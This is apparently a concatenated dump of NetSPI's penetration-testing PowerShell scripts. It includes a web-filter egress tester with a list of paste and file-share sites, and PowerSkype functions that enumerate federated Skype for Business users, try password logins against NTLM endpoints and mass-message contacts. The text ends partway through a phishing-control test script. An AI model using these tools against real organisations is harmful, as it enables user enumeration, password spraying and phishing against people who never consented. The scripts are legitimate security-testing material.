436 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
437 | $results = $cmd.ExecuteReader()
438 |
439 | # Close db connection
440 | $conn.Close()
441 |
442 | Write-Host "[*] The evil_ddl_trigger trigger has been been removed." -foreground "green"
443 | }
444 |
445 | Write-Host "[*] All done."
446 | }
447 |
448 |
449 |
--------------------------------------------------------------------------------
/Invoke-WebFilterTest.psm1:
--------------------------------------------------------------------------------
1 |
2 | Function Invoke-WebFilterTest{
3 |
4 | # Invoke-WebFilterTest
5 | # Author: scott sutherland
6 | # Description The basic idea is to build out a quick script to check for access to code repositories, file shares, and online clipboards used by common malware.
7 | # Note: This is a very basic PoC. Ideally it would be nice to include common web filter categories and summary data in output. Also, runspaces for larger lists.
8 | # Note: should test access to known blacklisted site
9 | # Note: should test access to uncategorized site
10 | # Note: should test more categories
11 | # Note: Should add a shorter timeout
12 | # Note: Add access test for all window.net and similar MS domains - reference: https://www.netspi.com/blog/technical/cloud-penetration-testing/enumerating-azure-services/
13 |
14 | # Example Commands:
15 | <#
16 |
17 | # Checks access to default sites, but doesn't authenticate with the current user's credentials
18 | Invoke-WebFilterTest -Verbose
19 |
20 | # Checks access to default sites, and authenticates with the current user's credentials
21 | Invoke-WebFilterTest -Verbose -UseCurrentUserContext
22 |
23 | # Checks access to default sites, custom sites, and authenticates with the current user's credentials
24 | Invoke-WebFilterTest -Verbose -UseCurrentUserContext -$ListPath c:\temp\urls.txt
25 |
26 | # Checks access to default sites, but doesn't authenticate with the current user's credentials
27 | # Writes output to a file
28 | Invoke-WebFilterTest -Verbose | Export-Csv -NoTypeInformation c:\temp\webfiltertest.csv
29 |
30 | #>
31 |
32 | [CmdletBinding()]
33 | param
34 | (
35 | [string]$ListPath,
36 | [Switch]$UseCurrentUserContext
37 | )
38 |
39 | Begin
40 | {
41 | # Create data table for list of block strings
42 | $BlockStrings = new-object System.Data.DataTable
43 | $BlockStrings.Columns.Add("Product") | Out-Null
44 | $BlockStrings.Columns.Add("String") | Out-Null
45 |
46 | # Add block strings
47 | $BlockStrings.rows.add("Barracuda","The link you are accessing has been blocked by the Barracuda Web Filter") | Out-Null
48 | $BlockStrings.rows.add("Blue Coat","Blue Coat Systems") | Out-Null
49 | $BlockStrings.rows.add("Blue Coat","Your request was denied because of its content categorization:") | Out-Null
50 | $BlockStrings.rows.add("Web Filter","This page is blocked because it violates network policy") | Out-Null
51 | $BlockStrings.rows.add("FortiGuard","This web page is blocked because it violates network policy.") | Out-Null
52 | $BlockStrings.rows.add("IBoss","Access to the requested site has been restricted due to its contents.") | Out-Null
53 | $BlockStrings.rows.add("SonicWall","This site has been blocked by the network.") | Out-Null
54 | $BlockStrings.rows.add("SonicWall","The site has been blocked by the network") | Out-Null
55 | $BlockStrings.rows.add("UnTangled","This web page is blocked because it violates network policy.") | Out-Null
56 | $BlockStrings.rows.add("Unknown","URL Category Warning Acknowledgement") | Out-Null
57 | $BlockStrings.rows.add("McAfee Web Gateway","McAfee Web Gateway") | Out-Null
58 | $BlockStrings.rows.add("McAfee Web Gateway","This website was blocked because of the site’s category and/or reputation.") | Out-Null
59 | $BlockStrings.rows.add("ZScaler","Internet Security by Zscaler") | Out-Null
60 | $BlockStrings.rows.add("Palo Alto","Blocked Request: URL Policy Violation") | Out-Null
61 |
62 | # Create data table for list of target websites
63 | $WebSites = new-object System.Data.DataTable
64 | $WebSites.Columns.Add("URL") | Out-Null
65 |
66 | # Add target websites
67 | $WebSites.rows.add("https://bitbucket.org/") | Out-Null
68 | $WebSites.rows.add("https://pastebin.com/") | Out-Null
69 | $WebSites.rows.add("https://github.com/") | Out-Null
70 | $WebSites.rows.add("https://www.dropbox.com") | Out-Null
71 | $WebSites.rows.add("https://www.mediafire.com/") | Out-Null
72 | $WebSites.rows.add("http://www.4shared.com/") | Out-Null
73 | $WebSites.rows.add("https://www.google.com/drive/") | Out-Null
74 | $WebSites.rows.add("https://onedrive.live.com/") | Out-Null
75 | $WebSites.rows.add("https://www.icloud.com/") | Out-Null
76 | $WebSites.rows.add("http://box.com") | Out-Null
77 | $WebSites.rows.add("http://www.zippyshare.com/") | Out-Null
78 | $WebSites.rows.add("http://uploaded.net/") | Out-Null
79 | $WebSites.rows.add("https://www.sendspace.com/") | Out-Null
80 | $WebSites.rows.add("http://www.filecrop.com/") | Out-Null
81 | $WebSites.rows.add("http://pastebin.com/") | Out-Null
82 | $WebSites.rows.add("http://www.filedropper.com/") | Out-Null
83 | $WebSites.rows.add("http://FriendPaste.com") | Out-Null
84 | $WebSites.rows.add("http://CopyTaste.com")| Out-Null
85 | $WebSites.rows.add("http://Cl1p.net")| Out-Null
86 | $WebSites.rows.add("http://ShortText.com")| Out-Null
87 | $WebSites.rows.add("http://TextSave.de")| Out-Null
88 | $WebSites.rows.add("http://TextSnip.com")| Out-Null
89 | $WebSites.rows.add("http://TxtB.in")| Out-Null
90 | $WebSites.rows.add("https://raw.githubusercontent.com/NetSPI/PowerShell/master/Invoke-WebFilterTest.psm1") | Out-Null
91 | $WebSites.rows.add("https://gist.githubusercontent.com/nullbind/75a8fa02ba8d0a6f028cfb21c300e1e2/raw/0319cabbbd69c7bbd013850f1bc65188986b4636/MiniPowerUpSQL.psm1") | Out-Null
92 |
93 | # Check for target websites from provide file path
94 | If ($ListPath){
95 | if (Test-Path $ListPath){
96 | Write-Verbose "Path is valid."
97 | Get-Content $ListPath |
98 | ForEach-Object {
99 | $WebSites.rows.add($_) | Out-Null
100 | }
101 | }else{
102 | Write-Verbose "List path is invalid."
103 | }
104 | }
105 |
106 | # Print count of target websites
107 | $WebSiteCount = $WebSites | Measure-Object -Line | Select-Object Lines -ExpandProperty Lines
108 | Write-Verbose "Testing access to $WebSiteCount websites..."
109 |
110 | # Create data table results
111 | $ResultsTbl = new-object System.Data.DataTable
112 | $ResultsTbl.Columns.Add("WebSite") | Out-Null
113 | $ResultsTbl.Columns.Add("Accessible") | Out-Null
114 | $ResultsTbl.Columns.Add("WebFilter") | Out-Null
115 | }
116 |
117 | Process
118 | {
119 | # Setup http handler
120 | $HTTP_Handle = New-Object net.webclient
121 |
122 | # Check for website access
123 | $WebSiteCount2 = $WebSiteCount + 1
124 | $WebSites |
125 | ForEach-Object {
126 | $WebSiteCount2 = $WebSiteCount2 - 1
127 | $CurrentUrl = $_.URL
128 | $Block = 0
129 | try {
130 |
131 | # Enable passthrough authentication to authenticate to the proxy using your current user context;)
132 | if($UseCurrentUserContext)
133 | {
134 | $HTTP_Handle.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
135 | }
136 |
137 | # Reduce ssl requirements
138 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
139 | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
140 |
141 | # Send HTTP request and get results
142 | $Results = $HTTP_Handle.DownloadString("$CurrentUrl")
143 |
144 | # Check for blocks
145 | $BlockStrings |
146 | ForEach-Object {
147 | $CurrentBlockString = $_.String
148 | $WebFilterProduct = $_.Product
149 | if($Results -like "*$CurrentBlockString*"){
150 | Write-Verbose "$WebSiteCount2 of $WebSiteCount - Status: Blocked ($WebFilterProduct) $CurrentUrl"
151 | $ResultsTbl.Rows.Add($CurrentUrl,"No","$WebFilterProduct") | Out-Null
152 | $Block = 1
153 | }
154 | }
155 |
156 | # Check for access
157 | if($Block -eq 0){
158 | Write-Verbose "$WebSiteCount2 of $WebSiteCount - Status: Allowed $CurrentUrl"
159 | $ResultsTbl.Rows.Add($CurrentUrl,"Yes","NA") | Out-Null
160 | return
161 | }
162 | }catch{
163 |
164 | $ErrorMessage = $_.Exception.Message
165 | Write-Verbose "$WebSiteCount2 of $WebSiteCount - Status: Request Failed - $ErrorMessage - $CurrentUrl"
166 | $ResultsTbl.Rows.Add($CurrentUrl,"Request Failed","NA") | Out-Null
167 | }
168 | }
169 | }
170 |
171 | End
172 | {
173 | # Return table with results
174 | $ResultsTbl
175 | }
176 | }
177 |
--------------------------------------------------------------------------------
/PowerSkype.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | File: PowerSkype.ps1
3 | Author: Karl Fosaaen (@kfosaaen), NetSPI - 2016
4 | Description: PowerShell functions for enumerating and attacking federated Skype for Business instances.
5 | Thanks: @nyxgeek for the http-ntlm authentication endpoints
6 | #>
7 |
8 | # To Do:
9 | # Add proper error handling on all inputs/functions
10 | # Add attachment functionality to send files w/messages
11 |
12 |
13 | # Import the assembly into the PowerShell session - http://blog.powershell.no/2013/08/08/automating-microsoft-lync-using-windows-powershell/
14 | if (-not (Get-Module -Name Microsoft.Lync.Model))
15 | {
16 | try
17 | {
18 | Import-Module -Name (Join-Path -Path ${env:ProgramFiles(x86)} -ChildPath "Microsoft Office 2013\LyncSDK\Assemblies\Desktop\Microsoft.Lync.Model.dll") -ErrorAction Stop
19 | }
20 | catch
21 | {
22 | Write-Warning "Microsoft.Lync.Model not available, download and install the Lync 2013 SDK http://www.microsoft.com/en-us/download/details.aspx?id=36824"
23 | break
24 | }
25 | }
26 |
27 | Function Get-SkypeStatus{
28 | <#
29 | .SYNOPSIS
30 | Gets the current status of valid federated Skype users.
31 | .PARAMETER email
32 | The email address to lookup.
33 | .PARAMETER inputFile
34 | The file of email addresses to lookup.
35 | .PARAMETER outputFile
36 | The CSV file to write the table to.
37 | .PARAMETER attempts
38 | The number of times to check the status (Default=1).
39 | .PARAMETER delay
40 | The amount of delay to set between users read from a file.
41 | .EXAMPLE
42 | PS C:\> Get-SkypeStatus -email test@example.com
43 |
44 | Email : test@example.com
45 | Title : Chief Example Officer
46 | Full Name : Testing McTestface
47 | Status : Available
48 | Out Of Office : False
49 |
50 | #>
51 |
52 |
53 | [CmdletBinding()]
54 | Param(
55 | [Parameter(Mandatory=$false,
56 | HelpMessage="Email address to verify the status of.")]
57 | [string]$email,
58 |
59 | [Parameter(Mandatory=$false,
60 | HelpMessage="Input file to read email addresses from.")]
61 | [string]$inputFile,
62 |
63 | [Parameter(Mandatory=$false,
64 | HelpMessage="Output file to write valid emails to.")]
65 | [string]$outputFile,
66 |
67 | [Parameter(Mandatory=$false,
68 | HelpMessage="The number of times to check for an email's status - Default:1")]
69 | [string]$attempts,
70 |
71 | [Parameter(Mandatory=$false,
72 | HelpMessage="Delay to use - Helpful with large lists")]
73 | [string]$delay
74 | )
75 |
76 | # Connect to the local Skype process
77 | try
78 | {
79 | $client = [Microsoft.Lync.Model.LyncClient]::GetClient()
80 | }
81 | catch
82 | {
83 | Write-Host "`nYou need to have Skype open and signed in first"
84 | break
85 | }
86 |
87 | # Bounds check the important inputs
88 | if(($email.Length -eq 0) -and ($inputFile.Length -eq 0))
89 | {
90 | Get-Help Get-SkypeStatus
91 | break
92 | }
93 |
94 | # Create data table to house results
95 | $TempTblUsers = New-Object System.Data.DataTable
96 | $TempTblUsers.Columns.Add("Email") | Out-Null
97 | $TempTblUsers.Columns.Add("Title") | Out-Null
98 | $TempTblUsers.Columns.Add("Full Name") | Out-Null
99 | $TempTblUsers.Columns.Add("Status") | Out-Null
100 | $TempTblUsers.Columns.Add("Out Of Office") | Out-Null
101 | $TempTblUsers.Columns.Add("Endpoints") | Out-Null
102 |
103 | # Check if attempts is set
104 | if ($attempts.Length -eq 0){$attempts = 1}
105 |
106 | # Read any input file and kick off sub-routines
107 | if($inputFile)
108 | {
109 | foreach($line in (Get-Content $inputFile))
110 | {
111 | Get-SkypeStatus -email $line -attempts $attempts
112 | if ($delay -ne $null){sleep $delay}
113 | }
114 | }
115 |
116 | # Loop through the number of attempts
117 | for ($i=1; $i -le $attempts; $i++)
118 | {
119 | #Get a remote contact
120 | if ($email.Length -gt 0){
121 | try
122 | {
123 | $contact = $client.ContactManager.GetContactByUri($email)
124 | }
125 | catch
126 | {
127 | Write-Verbose "Failed to find Contact $email"
128 | break
129 | }
130 | }
131 | else{break}
132 |
133 | # Create a conversation
134 | $convo = $client.ConversationManager.AddConversation()
135 | if($contact)
136 | {
137 | $convo.AddParticipant($contact) | Out-Null
138 | }
139 | else{break}
140 |
141 | # Check contact availability
142 | if(($contact.GetContactInformation('Availability') -gt '0') -or ([string]$contact.GetContactInformation('Title')))
143 | {
144 | # Iterate through phone numbers
145 | $numbers = ""
146 | $phones = $contact.GetContactInformation('ContactEndpoints')
147 | $phones | foreach {if ($_.Uri -like "tel:*") {if ($_.Type -eq "WorkPhone"){$numbers += "Work: "+$_.Uri+" "} elseif ($_.Type -eq "MobilePhone"){$numbers += "Mobile: "+$_.Uri+" "}}}
148 |
149 | # Add user to the table
150 | $TempTblUsers.Rows.Add([string]$email,[string]$contact.GetContactInformation('Title'),[string]$contact.GetContactInformation('DisplayName'),$contact.GetContactInformation('Activity'),[string]$contact.GetContactInformation('IsOutOfOffice'),$numbers) | Out-Null
151 |
152 | }
153 | # End the conversation
154 | $convo.End() | Out-Null
155 |
156 | # If an output file is set, write the CSV
157 | if($outputFile)
158 | {
159 | $TempTblUsers | Export-Csv -Path $outputFile -Append
160 | }
161 | }
162 | return $TempTblUsers
163 | }
164 |
165 | Function Get-SkypeLoginURL{
166 | <#
167 | .SYNOPSIS
168 | Attempts to identify Skype HTTP-NTLM login servers from the autodiscover server.
169 | .PARAMETER domain
170 | The domain name to lookup.
171 | .EXAMPLE
172 | PS C:\> Get-SkypeLoginHost -domain example.com
173 |
174 | #>
175 |
176 | [CmdletBinding()]
177 | Param(
178 | [Parameter(Mandatory=$true,
179 | HelpMessage="The domain name to lookup.")]
180 | [string]$domain
181 | )
182 |
183 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
184 |
185 | #Do Nyxgeek subdomain checks first
186 |
187 | $discoDomain = 'lyncdiscover.'+$domain
188 | $accessDomain = 'access.'+$domain
189 | $meetDomain = 'meet.'+$domain
190 | $dialinDomain = 'dialin.'+$domain
191 |
192 | try{($disco = Resolve-DnsName $discoDomain -ErrorAction Stop -Verbose:$false | select Name | Select-Object -First 1)|Out-Null}catch{}
193 | try{($access = Resolve-DnsName $accessDomain -ErrorAction Stop -Verbose:$false | select Name | Select-Object -First 1)|Out-Null}catch{}
194 | try{($meet = Resolve-DnsName $meetDomain -ErrorAction Stop -Verbose:$false | select Name | Select-Object -First 1)|Out-Null}catch{}
195 | try{($dialin = (Resolve-DnsName $dialinDomain -ErrorAction Stop -Verbose:$false | select Name | Select-Object -First 1))|Out-Null}catch{}
196 |
197 |
198 | # Add in HTTP-NTLM auth prompt checks here
199 |
200 | if($disco.length -eq 0){Write-Verbose -Message "Lyncdiscover record not found"}
201 | else{
202 | $lyncURL = "https://lyncdiscover."+$domain
203 | $webclient = new-object System.Net.WebClient
204 | try{
205 | $webpage = $webclient.DownloadString($lyncURL)
206 | $FullLyncServer = "https://"+($webpage.Split('{')[3].Split('"')[3].Split("/")[2])+"/WebTicket/WebTicketService.svc/Auth"
207 | Write-Verbose -Message ("Lyncdiscover Authentication Endpoint Identified - "+$FullLyncServer)
208 | return $FullLyncServer
209 | }
210 | catch {Write-Verbose -Message "The AutoDiscover URL doesn't appear to work"}
211 | }
212 |
213 | if($dialin.length -eq 0){Write-Verbose -Message "Dialin record not found"}
214 | else{Write-Verbose -Message ("Dialin Authentication Endpoint Identified - https://dialin."+$domain+"/abs/"); return "https://dialin."+$domain+"/abs/"}
215 |
216 |
217 | #################STILL NEEDS SOME WORK#################
218 | if($meet.length -eq 0){Write-Verbose -Message "Meet record not found"}
219 | # Still Needs an auth endpoint here
220 | else{Write-Verbose -Message "Meet Authentication Endpoint Identified"; return "https://meet."+$domain+""}
221 |
222 | if($access.length -eq 0){Write-Verbose -Message "Access record not found"}
223 | # Still Needs an auth endpoint here
224 | else{Write-Verbose -Message "Access Authentication Endpoint Identified"; return "https://access."+$domain+""}
225 |
226 | Write-Host "`nThe domain does not appear to support any external Skype/Lync authentication endpoints" -ForegroundColor Red; break
227 |
228 |
229 | return $Returnurl
230 |
231 | }
232 |
233 | Function Invoke-SkypeLogin{
234 | <#
235 | .SYNOPSIS
236 | Attempts a login as a Skype user.
237 | .PARAMETER email
238 | The email address to login as.
239 | .PARAMETER username
240 | The username to login as.
241 | .PARAMETER password
242 | The password to use.
243 | .PARAMETER url
244 | The url to authenticate against.
245 | .EXAMPLE
246 | PS C:\> Invoke-SkypeLogin -email test@example.com -password Fall2016
247 |
248 | #>
249 |
250 | [CmdletBinding()]
251 | Param(
252 | [Parameter(Mandatory=$true,
253 | HelpMessage="Email address to login as.")]
254 | [string]$email,
255 |
256 | [Parameter(Mandatory=$false,
257 | HelpMessage="Username to login as.")]
258 | [string]$username,
259 |
260 | [Parameter(Mandatory=$true,
261 | HelpMessage="Password to use.")]
262 | [string]$password,
263 |
264 | [Parameter(Mandatory=$false,
265 | HelpMessage="Domain name to login with.")]
266 | [string]$domain,
267 |
268 | [Parameter(Mandatory=$false,
269 | HelpMessage="The url to authenticate against.")]
270 | [string]$url
271 | )
272 |
273 | if ($domain.Length -eq 0){$domain = $email.Split("@")[1]}
274 |
275 | if($url.Length -eq 0){
276 | $emailDomain = $email.Split("@")[1]
277 | $url = Get-SkypeLoginURL -domain $emailDomain
278 | }
279 |
280 | if($url -like '*lync.com*'){Write-Host 'Microsoft Managed Skype for Business instance - HTTP NTLM Auth currently not supported' -ForegroundColor Red; break}
281 |
282 | if($username.Length -eq 0){$username = $email.Split("@")[0]}
283 |
284 |
285 |
286 | #Test URL - https://webdirca1.online.lync.com/WebTicket/WebTicketService.svc/Auth
287 |
288 |
289 | #https://meet.lync.com/TENNANT_NAME/USER/MEETING
290 |
291 |
292 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
293 |
294 | #Depending on the HTTP code, determine if auth was successful
295 | #Useful info on the autodiscover protocol - http://www.lyncexch.co.uk/lyncdiscover-and-auto-discovery-deeper-dive/
296 |
297 | $req = [system.Net.WebRequest]::Create($url)
298 | $req.Credentials = new-object System.Net.NetworkCredential($username, $password, $domain)
299 | try {
300 | $res = $req.GetResponse()
301 | } catch [System.Net.WebException] {
302 | $res = $_.Exception.Response
303 | }
304 | if ([int]$res.StatusCode -eq '403'){Write-Host 'Authentication Successful: '$domain\$username' - '$password -ForegroundColor Green}
305 | else{Write-Host 'Authentication Failure: '$domain\$username' - '$password -ForegroundColor Red}
306 |
307 | #$webpage = $webclient.DownloadString($url)
308 |
309 |
310 | #Write-Host "Successful Authentication for:"$email" - "$password
311 |
312 | }
313 |
314 | Function Invoke-SendSkypeMessage{
315 | <#
316 | .SYNOPSIS
317 | Sends messages to Skype users.
318 | .PARAMETER email
319 | The email address to send the message to.
320 | .PARAMETER message
321 | The message to send.
322 | .PARAMETER inputFile
323 | The file of email addresses to message.
324 | .EXAMPLE
325 | PS C:\> Invoke-SendSkypeMessage -email test@example.com -message "Hello World"
326 | Sent the following message to test@example.com:
327 | Hello World
328 | #>
329 |
330 | [CmdletBinding()]
331 | Param(
332 | [Parameter(Mandatory=$false,
333 | HelpMessage="Email address to send the message to.")]
334 | [string]$email,
335 |
336 | [Parameter(Mandatory=$true,
337 | HelpMessage="Message to send.")]
338 | [string]$message,
339 |
340 | [Parameter(Mandatory=$false,
341 | HelpMessage="File of email addresses to send the message to.")]
342 | [string]$inputFile
343 | )
344 |
345 | # Connect to the local Skype process
346 | try
347 | {
348 | $client = [Microsoft.Lync.Model.LyncClient]::GetClient()
349 | }
350 | catch
351 | {
352 | Write-Host "`nYou need to have Skype open and signed in first"
353 | break
354 | }
355 |
356 | # Bounds check the important inputs
357 | if(($email.Length -eq 0) -and ($inputFile.Length -eq 0))
358 | {
359 | #Write-Host "Use -email or -inputFile and enter an email address..."
360 | Get-Help Invoke-SendSkypeMessage
361 | break
362 | }
363 |
364 | # Read any input file and kick off sub-routines
365 | if($inputFile)
366 | {
367 | foreach($line in (Get-Content $inputFile))
368 | {
369 | if ($line.Length -ne $null){Invoke-SendSkypeMessage -email $line -message $message}
370 | }
371 | break
372 | }
373 |
374 | #Start Conversation
375 | $msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]"
376 |
377 | #Add the Message
378 | $msg.Add(1,$message)
379 |
380 | # Add the contact URI
381 | try
382 | {
383 | $contact = $client.ContactManager.GetContactByUri($email)
384 | }
385 | catch
386 | {
387 | Write-Host "`nFailed to lookup Contact"$email
388 | break
389 | }
390 |
391 | # Create a conversation
392 | $convo = $client.ConversationManager.AddConversation()
393 | $convo.AddParticipant($contact) | Out-Null
394 |
395 | # Set the message mode as IM
396 | $imModality = $convo.Modalities[1]
397 | # Send the message
398 | $imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null
399 | # End the Convo to suppress the UI
400 | $convo.End() | Out-Null
401 |
402 | Write-Host "Sent the following message to "$email":`n"$message
403 | }
404 |
405 |
406 | Function Invoke-SendGroupSkypeMessage{
407 | <#
408 | .SYNOPSIS
409 | Sends group messages to multiple Skype users.
410 | .PARAMETER emails
411 | The email addresses to send the message to.
412 | .PARAMETER message
413 | The message to send.
414 | .PARAMETER inputFile
415 | The file of email addresses to message.
416 | .EXAMPLE
417 | PS C:\> Invoke-SendGroupSkypeMessage -emails "test@example.com, test1@example.com" -message "testing"
418 | Sent the following message to 2 users:
419 | testing
420 | .EXAMPLE
421 | PS C:\> Invoke-SendGroupSkypeMessage -inputFile "C:\Temp\2Emails.txt" -message "testing"
422 | Sent the following message to 2 users:
423 | testing
424 | #>
425 |
426 | [CmdletBinding()]
427 | Param(
428 | [Parameter(Mandatory=$false,
429 | HelpMessage="Email addresses to send the message to.")]
430 | [string]$emails,
431 |
432 | [Parameter(Mandatory=$false,
433 | HelpMessage="Input file to read email addresses from.")]
434 | [string]$inputFile,
435 |
436 | [Parameter(Mandatory=$true,
437 | HelpMessage="Message to send.")]
438 | [string]$message
439 | )
440 |
441 | # Variable checking
442 | if (($emails -eq $null) -and ($inputFile -eq $null)){break}
443 |
444 | # Connect to the local Skype process
445 | try
446 | {
447 | $client = [Microsoft.Lync.Model.LyncClient]::GetClient()
448 | }
449 | catch
450 | {
451 | Write-Host "`nYou need to have Skype open and signed in first"
452 | break
453 | }
454 |
455 | #Start Conversation
456 | $msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]"
457 |
458 | #Add the Message
459 | $msg.Add(1,$message)
460 |
461 | # Get a count of the emails for final output
462 | $count = 0
463 |
464 | if($inputFile)
465 | {
466 | # Create a conversation
467 | $convo = $client.ConversationManager.AddConversation()
468 | foreach($email in (Get-Content $inputFile))
469 | {
470 | # Add email to group message $line
471 | try
472 | {
473 | $contact = $client.ContactManager.GetContactByUri($email.Replace(" ",""))
474 | $convo.AddParticipant($contact) | Out-Null
475 | $count += 1
476 | }
477 | catch
478 | {
479 | Write-Host "`nFailed to lookup Contact"$email
480 | }
481 | }
482 | }
483 | else
484 | {
485 | # Create a conversation
486 | $convo = $client.ConversationManager.AddConversation()
487 | # add the comma list from the input to the message
488 | $emailSplit = $emails.Split(',')
489 | foreach ($email in $emailSplit)
490 | {
491 | try
492 | {
493 | $contact = $client.ContactManager.GetContactByUri($email.Replace(" ",""))
494 | $convo.AddParticipant($contact) | Out-Null
495 | $count += 1
496 | }
497 | catch
498 | {
499 | Write-Host "`nFailed to lookup Contact"$email
500 | }
501 |
502 | }
503 | }
504 |
505 | # Set the message mode as IM
506 | $imModality = $convo.Modalities[1]
507 | # Send the message
508 | $imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null
509 | $convo.End() | Out-Null
510 |
511 | Write-Host "Sent the following message to"$count "users:`n"$message
512 | }
513 |
514 |
515 | Function Get-SkypeFederation{
516 | <#
517 | .SYNOPSIS
518 | Does DNS lookups on common federation records.
519 | .PARAMETER Domain
520 | The domain to lookup.
521 | .EXAMPLE
522 | PS C:\> Get-SkypeFederation -domain netspi.com
523 |
524 | Domain : netspi.com
525 | MS=MS* : True
526 | _sip._tcp : False
527 | _sip._tls : True
528 | _sipfederationtls._tcp : False
529 | #>
530 |
531 | # This is in Progress...
532 |
533 | [CmdletBinding()]
534 | Param(
535 | [Parameter(Mandatory=$false,
536 | HelpMessage="Domain to verify the status of.")]
537 | [string]$domain
538 | )
539 |
540 | # Create data table to house results
541 | $TempTblDomain = New-Object System.Data.DataTable
542 | $TempTblDomain.Columns.Add("Domain") | Out-Null
543 | $TempTblDomain.Columns.Add("MS=MS*") | Out-Null
544 | $TempTblDomain.Columns.Add("_sip._tcp") | Out-Null
545 | $TempTblDomain.Columns.Add("_sip._tls") | Out-Null
546 | $TempTblDomain.Columns.Add("_sipfederationtls._tcp") | Out-Null
547 |
548 | $txt = try{(Resolve-DnsName -Type TXT $domain -ErrorAction Stop | select Strings)}catch{}
549 | $sip = try{Resolve-DnsName -Type SRV "_sip._tcp.$domain" -ErrorAction Stop}catch{}
550 | $siptls = try{Resolve-DnsName -Type SRV "_sip._tls.$domain" -ErrorAction Stop}catch{}
551 | $sipFed = try{Resolve-DnsName -Type SRV "_sipfederationtls._tcp.$domain" -ErrorAction Stop}catch{}
552 |
553 | $ms = "False"
554 | $sipTrue = "False"
555 | $siptlsTrue = "False"
556 | $sipFedTrue = "False"
557 |
558 | if($txt -contains "MS=" -or "ms=")
559 | {
560 | $ms = "True"
561 | }
562 | if($sip)
563 | {
564 | $sipTrue = "True"
565 | }
566 | if($siptls)
567 | {
568 | $siptlsTrue = "True"
569 | }
570 | if($sipFed)
571 | {
572 | $sipFedTrue = "True"
573 | }
574 |
575 | # Add domain to table
576 | $TempTblDomain.Rows.Add([string]$domain,[string]$ms,[string]$sipTrue,[string]$siptlsTrue,[string]$sipFedTrue) | Out-Null
577 | return $TempTblDomain
578 | }
579 |
580 |
581 | function Get-SkypeContacts{
582 |
583 | <#
584 | .SYNOPSIS
585 | Gets a list of contacts from the current user.
586 | .PARAMETER group
587 | The specific group to list. (Default is to list all contacts)
588 | .EXAMPLE
589 | PS C:\> Get-SkypeContacts | ft -AutoSize
590 | Email Title Full Name Status Out Of Office Endpoints
591 | ----- ----- --------- ------ ------------- ---------
592 | test@example.com Person of Interest J Doe Offline False Work: tel:911
593 |
594 | #>
595 |
596 | [CmdletBinding()]
597 | Param(
598 | [Parameter(Mandatory=$false,
599 | HelpMessage="The contact group to list.")]
600 | [string]$group
601 | )
602 |
603 | # Connect to the local Skype process
604 | try
605 | {
606 | $client = [Microsoft.Lync.Model.LyncClient]::GetClient()
607 | }
608 | catch
609 | {
610 | Write-Host "`nYou need to have Skype open and signed in first"
611 | break
612 | }
613 |
614 | if ($group.length -ne 0){
615 | $groups = $client.ContactManager.Groups
616 | foreach ($g in $groups){
617 | if ($g.Name -eq $group) {
618 | foreach ($contact in $g){
619 | foreach ($email in $contact.GetContactInformation('email')){Get-SkypeStatus $email}
620 | }
621 | }
622 | }
623 | }
624 | else{
625 | $groups = $client.ContactManager.Groups
626 | foreach ($g in $groups){
627 | foreach ($contact in $g){
628 | foreach ($email in $contact.GetContactInformation('email')){Get-SkypeStatus $email}
629 | }
630 | }
631 | }
632 | }
633 |
634 | function Get-SkypeDomainUsers{
635 |
636 | <#
637 | .SYNOPSIS
638 | Searches the users contacts for available contacts.
639 |
640 | .EXAMPLE
641 | PS C:\> Get-SkypeDomainUsers | ft -AutoSize
642 | Email Title Full Name Status Out Of Office Endpoints
643 | ----- ----- --------- ------ ------------- ---------
644 | test@example.com Person of Interest J Doe Offline False Work: tel:911
645 |
646 | #>
647 |
648 | # Connect to the local Skype process
649 | try
650 | {
651 | $client = [Microsoft.Lync.Model.LyncClient]::GetClient()
652 | }
653 | catch
654 | {
655 | Write-Host "`nYou need to have Skype open and signed in first"
656 | break
657 | }
658 |
659 | # Helpful Link - https://msdn.microsoft.com/en-us/library/office/dn391639.aspx
660 |
661 | # Does simple outlook contacts search
662 | # Search a to z and filter
663 | # This is inefficient, but functional right now
664 |
665 | $letters = "a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"
666 |
667 |
668 | # Create data table to house results
669 | $TempTblUris = New-Object System.Data.DataTable
670 | $TempTblUris.Columns.Add("URI") | Out-Null
671 |
672 |
673 | foreach($letter in $letters){
674 | $searcher = $client.ContactManager.BeginSearch($letter, $null, $null)
675 | $end = $client.ContactManager.EndSearch($searcher)
676 |
677 | $uris += ($end | ForEach-Object {$_.Contacts | ForEach-Object {$TempTblUris.Rows.Add([string]$_.Uri)}})
678 |
679 | }
680 |
681 | # Sort and unique the final table
682 | $finalTable = $TempTblUris | sort-object -Property uri -Unique
683 |
684 | # Take each URI and run Get-SkypeStatus on it
685 | foreach ($uri in $finalTable){Get-SkypeStatus -email ([string]$uri.URI.split(":")[1])}
686 |
687 |
688 | }
689 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Powershell
2 | NetSPI PowerShell Scripts
3 |
--------------------------------------------------------------------------------
/Send-ProtocolHandlerEmailLinks.psm1:
--------------------------------------------------------------------------------
1 | # Author: Scott Sutherland, @_nullbind, NetSPI
2 | Function Send-ProtocolHandlerEmailLinks
3 | {
4 | <#
5 | .SYNOPSIS
6 | The script can be used to enumerate local protocol handlers and create sample emails
7 | contain links to the handlers. It is intended to be used for testing email controls
8 | that help prevent phishing.
9 | .PARAMETER TargetEmail
10 | Email address to send generated emails to.
11 | .PARAMETER OutPutFile
12 | File path where the list of protocol handlers with be written to.
13 | .PARAMETER Display only.
14 | Enumerate the protocol handlers and display them, but do not generate emails.
15 | .EXAMPLE
16 | PS C:\> Send-ProtocolHandlerEmailLinks -Verbose -TargetEmail target@email.com
17 | .EXAMPLE
18 | PS C:\> Send-ProtocolHandlerEmailLinks -Verbose -DisplayOnly
19 | .REFERENCES
